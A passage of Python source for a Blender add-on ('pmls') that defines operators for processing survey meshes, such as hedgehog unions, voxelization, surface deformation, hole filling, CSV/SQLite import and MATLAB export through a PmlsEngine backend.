options={'HIDDEN'})\n directory = bpy.props.StringProperty(subtype=\"DIR_PATH\")\n filepath = bpy.props.StringProperty(subtype=\"FILE_PATH\")\n files = bpy.props.CollectionProperty(name=\"File Path\",type=bpy.types.OperatorFileListElement) \n @classmethod\n def poll(cls, context):\n if not PmlsEngine.isr:\n return False\n if not context.selected_objects:\n return False\n for obj in context.selected_objects:\n if not pmls_is_pmlsobj(obj):\n return False\n return True\n\n def execute(self, context):\n objs = PmlsObject.get_selected_objects()\n data = [o.to_matlab() for o in objs]\n PmlsEngine.save_mat(self.filepath, data)\n return {'FINISHED'}\n\n def invoke(self, context, event):\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\ndef pmls_is_pmlsobj( obj ):\n return obj is not None and isinstance(obj, bpy.types.Object) and obj.type == 'MESH' and \"pmls_type\" in obj.keys()\n\ndef pmls_is_hedgehog( obj ):\n return pmls_is_pmlsobj( obj ) and obj[\"pmls_type\"] == \"hedgehog\"\n\ndef pmls_is_ehedgehog( obj ):\n return pmls_is_pmlsobj( obj ) and obj[\"pmls_type\"] == \"ehedgehog\"\n\ndef pmls_is_extended(obj):\n return pmls_is_pmlsobj( obj ) and (obj[\"pmls_type\"] == \"ehedgehog\" or obj[\"pmls_type\"] == \"eturtle\")\n\ndef pmls_is_turtle(obj):\n return pmls_is_pmlsobj( obj ) and (obj[\"pmls_type\"] == \"turtle\" or obj[\"pmls_type\"] == \"eturtle\")\n\ndef pmls_is_mesh(obj):\n return pmls_is_pmlsobj( obj ) and (obj[\"pmls_type\"] == \"mesh\")\n\ndef pmls_is_deform_mesh(obj):\n return pmls_is_pmlsobj( obj ) and (obj[\"pmls_type\"] == \"deform_mesh\")\n\ndef pmls_has_hedgehog(obj):\n for H in obj.children:\n ot = PmlsObject.pmls_get_type(H)\n if ot and ot.is_hedgehog():\n return True\n return False\n \n \n\nclass PmlsUpdateDisplay(bpy.types.Operator):\n \"\"\"Updates display of active object\"\"\"\n bl_idname = \"pmls.updatedisplay\"\n bl_label = \"pmls update display\"\n\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n return PmlsEngine.isr and pmls_is_pmlsobj( obj )\n \n\n def execute(self, context):\n pobj = PmlsObject()\n if pobj:\n pobj.update_display()\n return {'FINISHED'}\n \n\nclass PmlsDowdateEhedgehog(bpy.types.Operator):\n bl_idname = \"pmls.downdate_ehedgehog\"\n bl_label = \"pmls downdate ehedgehog\"\n todel = bpy.props.BoolProperty(default=True)\n \n @classmethod\n def poll(cls, context):\n return pmls_is_extended(context.active_object)\n\n def execute(self, context):\n obj = PmlsExtendedHedgehog(context.active_object)\n obj.downdate(self.todel)\n return {'FINISHED'}\n\nclass PmlsHedgehogUnion(bpy.types.Operator):\n \"\"\"Union by voxelization\"\"\"\n bl_idname = \"pmls.hedgehog_union\"\n bl_label = \"pmls hedgehog union\"\n\n voxel_siz = bpy.props.FloatProperty(\n name=\"Voxel size (cm):\", default=3.0, step=5, min=0.000001, soft_min=1.0, soft_max=1000.0, subtype='DISTANCE')\n extend = bpy.props.FloatProperty(\n name=\"Thicken volume (voxel):\", default=3.0, step=5, min=-15.0, soft_min=-10.0, soft_max=10.0, subtype='DISTANCE')\n cuda = bpy.props.BoolProperty(name=\"Voxelize on GPU\", description=\"Voxelization will be done on the graphics card. Requires CUDA 7.5\", default=True)\n marcub = bpy.props.BoolProperty(name=\"Use marching cubes\", description=\"If true after voxelization the surface will be reconstructed with marching cubes algorithm, else each voxel side will be kept.\", default=True)\n shortenrays = bpy.props.FloatProperty( name=\"Shorten rays (voxel):\", default=0.7, step=1, min=0.0, soft_min=0.0, soft_max=10.0, subtype='DISTANCE')\n\n\n \n @classmethod\n def poll(cls, context):\n return pmls_is_extended(context.active_object)\n\n def execute(self, context):\n obj = PmlsExtendedHedgehog(context.active_object)\n H = obj.to_matlab()\n S = PmlsEngine().remeshunion(H, self.voxel_siz, self.extend, self.cuda, self.marcub, self.shortenrays)\n S = PmlsObject(S)\n S.advance(obj,None)\n return {'FINISHED'}\n\nclass PmlsHedgehogUnionAlec(bpy.types.Operator):\n \"\"\"Union by voxelization\"\"\"\n bl_idname = \"pmls.hedgehog_union_alec\"\n bl_label = \"pmls hedgehog union_alec\"\n\n tetgen = bpy.props.BoolProperty(name=\"Remesh turtles before union\", description=\"Remesh increases the number of triangles, but the mesh will be nicer.\", default=True)\n tetgen_a = bpy.props.FloatProperty(\n name=\"Max volume of tetrahedra (m3)\", description=\"Tetgen command line parameter -a.\",\n default=0.5, step=0.001, min=0.0000001, soft_min=0.0000001, soft_max=100.0, subtype='UNSIGNED', unit='VOLUME')\n tetgen_q = bpy.props.FloatProperty(\n name=\"Max radius-edge ratio\", description=\"First value of tetgen command line parameter -q.\",\n default=2.0, step=0.001, min=1.0, soft_min=1.0, soft_max=100.0, subtype='UNSIGNED')\n tetgen_d = bpy.props.FloatProperty(\n name=\"Min dihedral angle (deg)\", description=\"Second value of tetgen command line parameter -q.\",\n default=0.0, step=5.0, min=0.0, soft_min=0.0, soft_max=70, subtype='UNSIGNED')\n \n @classmethod\n def poll(cls, context):\n return pmls_is_extended(context.active_object)\n\n def execute(self, context):\n obj = PmlsExtendedHedgehog(context.active_object)\n H = obj.to_matlab()\n S = PmlsEngine().tetremeshunion(H, self.tetgen, self.tetgen_a, self.tetgen_q, self.tetgen_d)\n S = PmlsObject(S)\n S.advance(obj,None)\n return {'FINISHED'}\n\nclass PmlsVoxelizedUnion(bpy.types.Operator):\n \"\"\"Union of meshes by voxelization\"\"\"\n bl_idname = \"pmls.voxelized_union\"\n bl_label = \"pmls voxelized union\"\n\n voxel_siz = bpy.props.FloatProperty(\n name=\"Voxel size (cm):\", default=3.0, step=5, min=0.000001, soft_min=1.0, soft_max=1000.0, subtype='DISTANCE')\n extend = bpy.props.FloatProperty(\n name=\"Thin volume (voxel):\", default=3.0, step=5, min=0.0, soft_min=0.0, soft_max=10.0, subtype='DISTANCE')\n\n cuda = bpy.props.BoolProperty(name=\"Voxelize on GPU\", description=\"Voxelization will be done on the graphics card. Requires CUDA 7.5\", default=True)\n marcub = bpy.props.BoolProperty(name=\"Use marching cubes\", description=\"If true after voxelization the surface will be reconstructed with marching cubes algorithm, else each voxel side will be kept.\", default=True)\n\n deform = bpy.props.BoolProperty(name=\"Volumetric deform\", default=True)\n\n# hedgehog = bpy.props.StringProperty()\n unilap = bpy.props.BoolProperty(name=\"Uniform laplacian\", description=\"If true uniform weights will be used instead of edge lenghts. Less conservative deformation.\", default=True)\n premesh = bpy.props.BoolProperty(name=\"Remesh before deform\", description=\"If true remesh done before and after the deform else only after\", default=True)\n\n \n @classmethod\n def poll(cls, context):\n if not PmlsEngine.isr:\n return False\n obj = context.active_object\n if obj is None:\n return False\n# if obj.mode != \"OBJECT\":\n# return False\n if not pmls_is_pmlsobj( obj ):\n return False\n if not pmls_is_deform_mesh(obj) or not pmls_has_hedgehog(obj):\n return False\n if not all([pmls_is_deform_mesh(o) and pmls_has_hedgehog(o) for o in context.selected_objects if o.name != obj.name ]):\n return False\n return True\n\n def execute(self, context):\n obj = context.active_object\n in_place = obj.mode == 'EDIT'\n \n sobjs = PmlsObject.get_selected_objects()\n name = obj.name\n sobjs = [o for o in sobjs if name != o.object.name] \n aobj = PmlsObject(obj)\n objs = [aobj.to_matlab(no_hedgehog=(not sobjs and not self.deform), no_anchor=(not sobjs))]\n for o in sobjs:\n objs.append(o.to_matlab(no_anchor=True))\n if self.deform:\n T = PmlsEngine.remesh_union_bihar(objs, self.voxel_siz, self.extend, self.cuda, self.marcub, self.unilap, self.premesh)\n else:\n T = PmlsEngine.remesh_union(objs, self.voxel_siz, self.extend, self.cuda, self.marcub)\n if in_place:\n aobj = aobj.update_from_matlab(T)\n else:\n T = aobj.complete_matlab_data(T)\n PmlsObject(T)\n return {'FINISHED'}\n\nclass PmlsNormalUnion(bpy.types.Operator):\n \"\"\"Union of meshes by intersecting faces\"\"\"\n bl_idname = \"pmls.normal_union\"\n bl_label = \"pmls normal union\"\n\n premesh = bpy.props.BoolProperty(default=True)\n tetgen = bpy.props.BoolProperty(name=\"Remesh turtles before union\", description=\"Remesh increases the number of triangles, but the mesh will be nicer.\", default=True)\n tetgen_a = bpy.props.FloatProperty(\n name=\"Max volume of tetrahedra (m3)\", description=\"Tetgen command line parameter -a.\",\n default=0.5, step=0.001, min=0.0000001, soft_min=0.0000001, soft_max=100.0, subtype='UNSIGNED', unit='VOLUME')\n tetgen_q = bpy.props.FloatProperty(\n name=\"Max radius-edge ratio\", description=\"First value of tetgen command line parameter -q.\",\n default=2.0, step=0.001, min=1.0, soft_min=1.0, soft_max=100.0, subtype='UNSIGNED')\n tetgen_d = bpy.props.FloatProperty(\n name=\"Min dihedral angle (deg)\", description=\"Second value of tetgen command line parameter -q.\",\n default=0.0, step=5.0, min=0.0, soft_min=0.0, soft_max=70, subtype='UNSIGNED')\n\n \n @classmethod\n def poll(cls, context):\n if not PmlsEngine.isr:\n return False\n obj = context.active_object\n if obj is None:\n return False\n if obj.mode != \"OBJECT\":\n return False\n if not pmls_is_pmlsobj( obj ):\n return False\n if not pmls_is_deform_mesh(obj):\n return False\n if not all([pmls_is_deform_mesh(o) for o in context.selected_objects if o.name != obj.name ]):\n return False\n return True\n\n def execute(self, context):\n obj = context.active_object\n sobjs = PmlsObject.get_selected_objects()\n aobj = PmlsObject(obj)\n objs = [aobj.to_matlab()]\n name = obj.name\n for obj in sobjs:\n if name == obj.object.name:\n continue\n objs.append(obj.to_matlab())\n T = PmlsEngine.normal_union(objs, self.premesh, self.tetgen, self.tetgen_a, self.tetgen_q, self.tetgen_d)\n PmlsObject(T)\n return {'FINISHED'}\n\nclass PmlsCreateVolMesh(bpy.types.Operator):\n \"\"\"Tetrahedralizes the interior of surface mesh\"\"\"\n bl_idname = \"pmls.create_vol_mesh\"\n bl_label = \"pmls create volumetric mesh\"\n\n\n \n @classmethod\n def poll(cls, context):\n if not PmlsEngine.isr:\n return False\n obj = context.active_object\n if obj is None:\n return False\n if obj.mode != \"OBJECT\":\n return False\n if not pmls_is_pmlsobj( obj ):\n return False\n return pmls_is_mesh(obj)\n\n def execute(self, context):\n obj = context.active_object\n obj = PmlsObject(obj)\n obj = obj.to_matlab()\n T = PmlsEngine.create_vol_mesh(obj)\n PmlsObject(T)\n return {'FINISHED'}\n\n\n\nclass PmlsExtendHedgehog(bpy.types.Operator):\n bl_idname = \"pmls.extend_hedgehog\"\n bl_label = \"pmls extend hedgehog\"\n \n @classmethod\n def poll(cls, context):\n return PmlsEngine.isr and pmls_is_hedgehog(context.active_object)\n\n def execute(self, context):\n obj = PmlsHedgehog(context.active_object)\n S = obj.to_matlab()\n T = PmlsEngine.extend_hedgehog(S)\n obj = obj.update_from_matlab(T)\n return {'FINISHED'}\n \nclass PmlsRecalculateTurtles(bpy.types.Operator):\n bl_idname = \"pmls.recalculate_turtles\"\n bl_label = \"pmls recalculate turtles\"\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n return PmlsEngine.isr and ( pmls_is_hedgehog(obj) or pmls_is_ehedgehog(obj) ) \n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n S = obj.to_matlab()\n T = PmlsEngine.turtles(S)\n obj = obj.update_from_matlab(T)\n return {'FINISHED'}\n\nclass PmlsSeparateTurtles(bpy.types.Operator):\n \"\"\"Separates hedgehogs by stations, calculates turtles and transorms them to deformable meshes \"\"\" \n \n bl_idname = \"pmls.separate_turtles\"\n bl_label = \"pmls separate turtles\"\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n return PmlsEngine.isr and pmls_is_pmlsobj( obj )\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n S = obj.to_matlab()\n PmlsEngine.separate_turtles(S)\n return {'FINISHED'}\n\nclass PmlsClearTurtles(bpy.types.Operator):\n bl_idname = \"pmls.clear_turtles\"\n bl_label = \"pmls clear turtles\"\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n return pmls_is_turtle(obj)\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n obj.clear_turtles()\n return {'FINISHED'}\n\nclass PmlsHideSelectedStations(bpy.types.Operator):\n bl_idname = \"pmls.hide_selected_stations\"\n bl_label = \"pmls hide selected stations\"\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n return PmlsEngine.isr and pmls_is_pmlsobj( obj )\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n obj.hide_stations(True)\n return {'FINISHED'}\n\nclass PmlsHideUnselectedStations(bpy.types.Operator):\n bl_idname = \"pmls.hide_unselected_stations\"\n bl_label = \"pmls hide unselected stations\"\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n return PmlsEngine.isr and pmls_is_pmlsobj( obj )\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n obj.hide_stations(False)\n return {'FINISHED'}\n \nclass PmlsRevealStations(bpy.types.Operator):\n bl_idname = \"pmls.reveal_stations\"\n bl_label = \"pmls reveal stations\"\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n return PmlsEngine.isr and pmls_is_pmlsobj( obj )\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n obj.reveal_stations()\n return {'FINISHED'}\n\nclass PmlsDeselectAllStations(bpy.types.Operator):\n bl_idname = \"pmls.deselect_all_stations\"\n bl_label = \"pmls deselect all stations\"\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n return pmls_is_pmlsobj( obj )\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n obj.deselect_stations()\n return {'FINISHED'}\n \nclass PmlsMergeHedgehogs(bpy.types.Operator): \n bl_idname = \"pmls.merge_selected_hedges_to_active\"\n bl_label = \"pmls merge selected hedgehogs to active\"\n \n @classmethod\n def poll(cls, context):\n obj = context.active_object\n if not PmlsEngine.isr:\n return False\n if obj is None:\n return False\n if obj.mode != \"OBJECT\":\n return False\n if not pmls_is_pmlsobj( obj ):\n return False\n if not PmlsObject.pmls_get_type(obj).is_hedgehog():\n return False\n return any([PmlsObject.pmls_get_type(o).is_hedgehog() for o in context.selected_objects if o.name != obj.name and pmls_is_pmlsobj( o )]) \n \n def execute(self, context):\n obj = context.active_object\n sobjs = context.selected_objects\n aobj = PmlsObject(obj)\n objs = [aobj.to_matlab()]\n name = obj.name\n for obj in sobjs:\n if name == obj.name:\n continue\n pobj = PmlsObject(obj)\n if pobj and pobj.is_hedgehog():\n objs.append(pobj.to_matlab())\n T = PmlsEngine.merge_hedgehogs(objs)\n PmlsObject(T)\n# aobj = aobj.update_from_matlab(T) \n return {'FINISHED'}\n\n\nclass PmlsCutBackAtBridges(bpy.types.Operator):\n \"\"\"Cut back splay shots at small features\"\"\" \n bl_idname = \"pmls.cutback_at_bridges\"\n bl_label = \"pmls cutback at bridges\"\n\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n if not PmlsEngine.isr:\n return False\n if obj is None:\n return False\n return pmls_is_deform_mesh(obj)\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n S = obj.to_matlab()\n data = PmlsEngine.cutback_at_bridges(S)\n selvt = data.get(\"selhdgvt\")\n obj = PmlsObject(data)\n if obj:\n if selvt:\n if not isinstance(selvt, collections.Iterable):\n selvt = [[selvt]]\n selvt = [v[0] for v in selvt]\n bm = obj.get_bmesh()\n bm.verts.ensure_lookup_table()\n for v in bm.verts:\n v.hide = False\n v.select = False\n for i in selvt:\n bm.verts[i].hide = False\n bm.verts[i].select = True\n bm.select_flush(True)\n bmesh.update_edit_mesh(obj.object.data, tessface=False, destructive=False)\n return {'FINISHED'}\n\n\nclass PmlsSurfaceDeform(bpy.types.Operator):\n \"\"\"Snaps surface to points and interpolates by biharmonic surface\"\"\" \n bl_idname = \"pmls.smoot_by_surface_deform\"\n bl_label = \"pmls smooth by surface deform\"\n# hedgehog = bpy.props.StringProperty()\n# points = bpy.props.StringProperty()\n\n unilap = bpy.props.BoolProperty(\n name=\"Uniform laplacian\", default=True)\n\n snaptol = bpy.props.FloatProperty(\n name=\"Snap tolerance (cm):\", default=5.0, step=5, min=0.000001, soft_min=0.1, soft_max=100000.0, subtype='DISTANCE')\n \n to_raycheck = bpy.props.BoolProperty(\n name=\"Ray check\", default=True)\n \n voxsiz = bpy.props.FloatProperty(\n name=\"Voxel size for ray check (cm):\", default=7.0, step=5, min=0.000001, soft_min=1.0, soft_max=1000.0, subtype='DISTANCE')\n\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n if not PmlsEngine.isr:\n return False\n if obj is None:\n return False\n# if obj.mode != \"OBJECT\":\n# return False\n return pmls_is_deform_mesh(obj)\n# if not pmls_is_pmlsobj( obj ):\n# return False\n# if not PmlsObject().pmls_get_type(obj).is_mesh():\n# return False\n# if pmls_is_deform_mesh(obj):\n# return True\n# hdg = context.scene.pmls_op_smooth_by_surface_deform_hdg\n# if hdg:\n# ot = PmlsObject.pmls_get_type(bpy.data.objects[hdg])\n# if ot and ot.is_hedgehog():\n# return True\n# pnt = context.scene.pmls_op_smooth_by_surface_deform_pnt\n# if pnt and pmls_is_mesh(bpy.data.objects[pnt]):\n# return True\n# return False\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n in_place = obj.object.mode == 'EDIT'\n S = obj.to_matlab()\n# HP = {}\n# hedgehog = None\n# if self.hedgehog:\n# hedgehog = PmlsObject(context.scene.objects[self.hedgehog])\n# HP[\"H\"] = hedgehog.to_matlab()\n# points = None\n# if self.points:\n# points = PmlsObject(context.scene.objects[self.points])\n# HP[\"P\"] = points.to_matlab()\n# data = PmlsEngine.bihar_pnts(S, HP, self.snaptol, self.voxsiz)\n data = PmlsEngine.bihar_pnts(S, self.unilap, self.snaptol, self.voxsiz, self.to_raycheck)\n selvt = data.get(\"selhdgvt\")\n# n = len(data)\n if in_place:\n obj = obj.update_from_matlab(data)\n# if n > 1:\n# points = points.update_from_matlab(data[1])\n else:\n# NH = data.get(\"hedgehog\")\n# if not NH and NH is not None:\n# data[\"hedgehog\"] = obj.hedgehog().object\n \n \n data = obj.complete_matlab_data(data)\n \n obj = PmlsObject(data)\n obj = obj.hedgehog()\n if obj:\n if selvt:\n if not isinstance(selvt, collections.Iterable):\n selvt = [[selvt]]\n selvt = [v[0] for v in selvt]\n bm = obj.get_bmesh()\n bm.verts.ensure_lookup_table()\n for i in selvt:\n bm.verts[i].hide = False\n bm.verts[i].select = True\n bm.select_flush(True)\n bmesh.update_edit_mesh(obj.object.data, tessface=False, destructive=False)\n \n# if n > 1:\n# points = PmlsObject(data[1])\n# obj.advance(hedgehog, points)\n return {'FINISHED'}\n\nclass PmlsSelectOutliers(bpy.types.Operator):\n \"\"\"Select outliers\"\"\" \n bl_idname = \"pmls.select_outliers\"\n bl_label = \"pmls select outliers\"\n# hedgehog = bpy.props.StringProperty()\n# points = bpy.props.StringProperty()\n internal = bpy.props.FloatProperty(\n name=\"Min internal angle (deg)\", description=\"Vertices without larger iternal angle in connected triangles will be selected.\",\n default=5.0, step=0.25, min=0.0, soft_min=0.0, soft_max=30, subtype='UNSIGNED')\n dihedral = bpy.props.FloatProperty(\n name=\"Min dihedral angle (deg)\", description=\"Vertices with smaller dihedral angle on connected edges will be selected.\",\n default=5.0, step=0.25, min=0.0, soft_min=0.0, soft_max=45, subtype='UNSIGNED')\n\n\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n if not PmlsEngine.isr:\n return False\n if obj.mode != \"EDIT\":\n return False\n if obj is None:\n return False\n return pmls_is_hedgehog(obj) or pmls_is_ehedgehog(obj)\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n S = obj.to_matlab()\n selvt = PmlsEngine.get_outliers(S, self.internal, self.dihedral)\n if selvt:\n if not isinstance(selvt, collections.Iterable):\n selvt = [[selvt]]\n selvt = [v[0] for v in selvt]\n bm = obj.get_bmesh()\n bm.verts.ensure_lookup_table()\n for i in selvt:\n bm.verts[i].select = True\n bm.select_flush(True)\n bmesh.update_edit_mesh(obj.object.data, tessface=False, destructive=False)\n return {'FINISHED'}\n \nclass PmlsMapPointsToMesh(bpy.types.Operator):\n \"\"\"Select mapped points on surface\"\"\" \n bl_idname = \"pmls.map_points_to_mesh\"\n bl_label = \"pmls map points to mesh\"\n# hedgehog = bpy.props.StringProperty()\n# points = bpy.props.StringProperty()\n\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n if not PmlsEngine.isr:\n return False\n if obj.mode != \"EDIT\":\n return False\n if obj is None:\n return False\n return pmls_is_deform_mesh(obj)\n \n def execute(self, context):\n obj = PmlsObject(context.active_object)\n S = obj.to_matlab()\n selvt = PmlsEngine.map_pnts(S)\n if selvt:\n if not isinstance(selvt, collections.Iterable):\n selvt = [[selvt]]\n selvt = [v[0] for v in selvt]\n bm = obj.get_bmesh()\n bm.verts.ensure_lookup_table()\n for i in selvt:\n bm.verts[i].select = True\n bm.select_flush(True)\n bmesh.update_edit_mesh(obj.object.data, tessface=False, destructive=False)\n return {'FINISHED'}\n\n# class PmlsSplit(bpy.types.Operator):\n# \"\"\"Splits mesh into two pieces\"\"\" \n# bl_idname = \"pmls.split\"\n# bl_label = \"pmls split\"\n# selmesh = bpy.props.StringProperty()\n# \n# @classmethod\n# def poll(cls, context):\n# obj = context.active_object\n# if not PmlsEngine.isr:\n# return False\n# if obj is None:\n# return False\n# if obj.mode != \"EDIT\":\n# return False\n# if not pmls_is_pmlsobj( obj ):\n# return False\n# if not pmls_is_mesh(obj):\n# return False\n# smsh = context.scene.pmls_op_split_selector\n# if smsh:\n# return pmls_is_mesh(bpy.data.objects[smsh])\n# return False\n# \n# def execute(self, context):\n# S = PmlsObject(context.active_object).to_matlab()\n# H = PmlsObject(context.scene.objects[self.selmesh]).to_matlab()\n# data = PmlsEngine.split(S, H)\n# for D in data:\n# PmlsObject(D) \n# return {'FINISHED'}\n\nclass PmlsEditOperator(bpy.types.Operator):\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n if not PmlsEngine.isr:\n return False\n if obj is None:\n return False\n if obj.mode != \"EDIT\":\n return False\n if not pmls_is_pmlsobj( obj ):\n return False\n return PmlsObject.pmls_get_type(obj).is_hedgehog() or pmls_is_deform_mesh(obj)\n \nclass PmlsCopy(PmlsEditOperator):\n \"\"\"Copy selection to new object\"\"\" \n bl_idname = \"pmls.copy\"\n bl_label = \"pmls copy\"\n simple = bpy.props.BoolProperty()\n\n def execute(self, context):\n obj = PmlsObject(context.active_object)\n if obj.is_hedgehog():\n obj.copy()\n else:\n obj.copy(self.simple)\n return {'FINISHED'}\n\nclass PmlsSplit(PmlsEditOperator):\n \"\"\"Split into 2 new object\"\"\" \n bl_idname = \"pmls.split\"\n bl_label = \"pmls split\"\n simple = bpy.props.BoolProperty()\n\n def execute(self, context):\n obj = PmlsObject(context.active_object)\n if obj.is_hedgehog():\n obj.split()\n else:\n obj.split(self.simple)\n return {'FINISHED'}\n\nclass PmlsCut(PmlsEditOperator):\n \"\"\"Cut selection to new object\"\"\" \n bl_idname = \"pmls.cut\"\n bl_label = \"pmls cut\"\n simple = bpy.props.BoolProperty()\n\n def execute(self, context):\n obj = PmlsObject(context.active_object)\n if obj.is_hedgehog():\n obj.cut()\n else:\n obj.cut(self.simple)\n return {'FINISHED'}\n\nclass PmlsDelete(PmlsEditOperator):\n \"\"\"Delete selection\"\"\" \n bl_idname = \"pmls.delete\"\n bl_label = \"pmls delete\"\n simple = bpy.props.BoolProperty()\n\n def execute(self, context):\n obj = PmlsObject(context.active_object)\n if obj.is_hedgehog():\n obj.delete()\n else:\n obj.delete(self.simple)\n return {'FINISHED'}\n\nclass PmlsFill(bpy.types.Operator):\n \"\"\"Fill selected hole\"\"\" \n bl_idname = \"pmls.fill\"\n bl_label = \"pmls fill\"\n simple = bpy.props.BoolProperty()\n\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n if not PmlsEngine.isr:\n return False\n if obj is None:\n return False\n if obj.mode != \"EDIT\":\n return False\n if not pmls_is_pmlsobj( obj ):\n return False\n return PmlsObject.pmls_get_type(obj).is_mesh()\n \n @classmethod\n def get_loop(cls, vs):\n loop=[]\n if not vs:\n return loop\n v1 = vs[0]\n es = [e for e in v1.link_edges if e.select]\n if not es:\n raise Exception('Bad selecting!')\n v2 = es[0].other_vert(v1)\n loop = [v1,v2]\n vstart = v1;\n while True:\n es = [e for e in v2.link_edges if e.select]\n if not es:\n raise Exception('Bad selecting!')\n vs = [e.other_vert(v2) for e in es if e.other_vert(v2) not in loop ]\n if not vs:\n vs = [e.other_vert(v2) for e in es if e.other_vert(v2) in loop and e.other_vert(v2) != v1]\n if len(vs) != 1 or vs[0] != vstart:\n raise Exception('Bad selecting!')\n return loop\n if len(vs) > 1: \n raise Exception('Bad selecting!')\n v1 = v2\n v2 = vs[0]\n loop.append(v2)\n \n\n\n def execute(self, context):\n obj = PmlsObject(context.active_object)\n bm = obj.get_bmesh()\n vs = [v for v in bm.verts if v.select]\n if not vs:\n raise Exception('Bad selecting!')\n loops = []\n while vs:\n loop = self.get_loop(vs)\n vs = list(set(vs) - set(loop))\n loops.append(matlab.double([list(v.co) for v in loop]))\n \n data = PmlsEngine.fill(loops)\n data2 = []\n for D in data:\n data2.append( PmlsObject(D) )\n obj.select = False\n for obji in data2:\n obji.object.select = True\n bpy.ops.object.duplicate()\n context.scene.objects.active = obj.object;\n bpy.ops.object.join()\n obj.set_edit_mode()\n for obji in data2:\n obji.object.select = True\n \n return {'FINISHED'}\n \n \n\n \nclass PmlsCreateMainCsv(bpy.types.Operator):\n \"\"\"Create main csv\"\"\"\n bl_idname = \"pmls.create_main_csv\"\n bl_label = \"pmls create main csv\"\n \n filter_glob = bpy.props.StringProperty(default=\"*.sqlite\", options={'HIDDEN'})\n directory = bpy.props.StringProperty(subtype=\"DIR_PATH\")\n filepath = bpy.props.StringProperty(subtype=\"FILE_PATH\")\n @classmethod\n def poll(cls, context):\n return PmlsEngine.isr\n\n def execute(self, context):\n PmlsEngine.main_sqlite2csv(self.filepath, self.directory + \"main.csv\")\n scene = context.scene\n scene.pmls_op_create_survey_csvs_sqlite = self.filepath \n scene.pmls_op_create_survey_csvs_csv = (self.directory + \"main.csv\") \n return {'FINISHED'}\n\n def invoke(self, context, event):\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\nclass PmlsCreateSurveyCsvs(bpy.types.Operator):\n \"\"\"Create survey csvs (main.csv must exist in the directory of sqlite file)\"\"\"\n bl_idname = \"pmls.create_survey_csvs\"\n bl_label = \"pmls create survey csvs\"\n \n \n @classmethod\n def poll(cls, context):\n scene = context.scene\n return PmlsEngine.isr and os.path.isfile(scene.pmls_op_create_survey_csvs_sqlite) and os.path.isfile(scene.pmls_op_create_survey_csvs_csv)\n\n def execute(self, context):\n scene = context.scene\n destdir = os.path.dirname(scene.pmls_op_create_survey_csvs_sqlite)\n PmlsEngine.sqlite2csvs(scene.pmls_op_create_survey_csvs_sqlite, scene.pmls_op_create_survey_csvs_csv, destdir + '\\\\')\n return {'FINISHED'}\n\nclass PmlsImportCsv(bpy.types.Operator):\n \"\"\"Import data from csvs\"\"\"\n bl_idname = \"pmls.import_csv\"\n bl_label = \"pmls import csv\"\n \n filter_glob = bpy.props.StringProperty(default=\"*.csv\", options={'HIDDEN'})\n directory = bpy.props.StringProperty(subtype=\"DIR_PATH\")\n filepath = bpy.props.StringProperty(subtype=\"FILE_PATH\")\n \n @classmethod\n def poll(cls, context):\n scene = context.scene\n return PmlsEngine.isr and (not scene.pmls_op_import_csv_use or os.path.isfile(scene.pmls_op_import_csv_pol))\n\n def execute(self, context):\n scene = context.scene\n if scene.pmls_op_import_csv_use:\n polfile = scene.pmls_op_import_csv_pol\n else:\n polfile = None\n out = PmlsEngine.get_input(self.filepath, polfile, scene.pmls_op_import_csv_min)\n if not out[0]:\n if out[2]:\n self.report({'ERROR'}, out[2])\n else: \n self.report({'ERROR'}, 'Unknown matlab error')\n return {'FINISHED'}\n\n def invoke(self, context, event):\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\nclass PmlsRegisterAsMesh(bpy.types.Operator):\n \"\"\"Register to pmls as deformable mesh\"\"\" \n bl_idname = \"pmls.register_as_mesh\"\n bl_label = \"pmls register as mesh\"\n hedgehog = bpy.props.StringProperty()\n points = bpy.props.StringProperty()\n\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n if obj is None:\n return False\n if obj.mode != \"OBJECT\":\n return False\n if obj.type != 'MESH':\n return False\n# if not PmlsObject().pmls_get_type(obj).is_mesh():\n# return False\n if pmls_is_deform_mesh(obj):\n return False\n hdg = context.scene.pmls_op_smooth_by_surface_deform_hdg\n if hdg:\n ot = PmlsObject.pmls_get_type(bpy.data.objects[hdg])\n if not (ot and ot.is_hedgehog()):\n return False\n pnt = context.scene.pmls_op_smooth_by_surface_deform_pnt\n if pnt and bpy.data.objects[pnt].type != 'MESH':\n return False\n return True\n \n def execute(self, context):\n obj = context.active_object\n ot = PmlsObject.pmls_get_type(obj)\n if not ot or not PmlsObject().pmls_get_type(obj).is_mesh():\n obj[\"pmls_type\"] = \"mesh\"\n obj = PmlsObject(obj)\n hedgehog = None\n if self.hedgehog:\n hedgehog = PmlsObject(context.scene.objects[self.hedgehog])\n anchor = None\n if self.points:\n points = context.scene.objects[self.points]\n if not PmlsObject().pmls_get_type(points).is_mesh():\n points[\"pmls_type\"] = \"mesh\"\n anchor = PmlsObject(points)\n obj.advance(hedgehog, anchor)\n \n return {'FINISHED'}\n\nclass MessageOperator(bpy.types.Operator):\n bl_idname = \"error.message\"\n bl_label = \"Message\"\n type = bpy.props.StringProperty()\n message = bpy.props.StringProperty()\n \n def execute(self, context):\n self.report({'INFO'}, self.message)\n print(self.message)\n return 